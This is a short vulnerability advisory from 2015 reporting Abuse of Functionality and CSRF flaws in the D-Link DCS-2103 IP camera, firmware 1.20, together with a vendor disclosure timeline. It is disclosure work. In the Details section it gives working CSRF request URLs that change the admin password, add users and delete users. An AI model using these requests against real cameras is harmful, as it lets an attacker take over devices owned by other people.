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  Уязвимости безопасности в D-Link DCS-2103

  CSRF and XSS vulnerabilities in D-Link DCS-2103

  BF and XSS vulnerabilities in D-Link DCS-2103

  Vulnerabilities in D-Link DCS-2103

From:MustLive <mustlive_(at)_websecurity.com.ua>
Date:25 октября 2015 г.
Subject:AoF ana CSRF vulnerabilities in D-Link DCS-2103


Hello 3APA3A!

There are Abuse of Functionality and Cross-Site Request Forgery vulnerabilities in D-Link DCS-2103 (IP camera).

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Affected products:
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Vulnerable is the next model: D-Link DCS-2103, Firmware 1.20. All previous versions also must be vulnerable.

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Details:
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Abuse of Functionality (WASC-42):

Admin's login is persistent: admin. Which simplify BF and CSRF attacks (about Brute Force I wrote in the second advisory).

Cross-Site Request Forgery (WASC-09):

Change admin's password:

http://site/vb.htm?adduser=admin:password:0

Add user:

http://site/vb.htm?adduser=user:pass:2

Delete user:

http://site/vb.htm?deluser=user

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Timeline:
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2014.11.14-2014.12.13 - conversation with D-Link about previous vulnerabilities in DCS-2103.
2015.07.23 - disclosed at my site previous vulnerabilities in DCS-2103.
2015.08.23 - informed developers about new vulnerabilities in DCS-2103.
2015.08.24 - announced at my site about new vulnerabilities in DCS-2103.
2015.10.24 - disclosed at my site (http://websecurity.com.ua/7877/).

Best wishes & regards,
MustLive
Administrator of Websecurity web site
http://websecurity.com.ua

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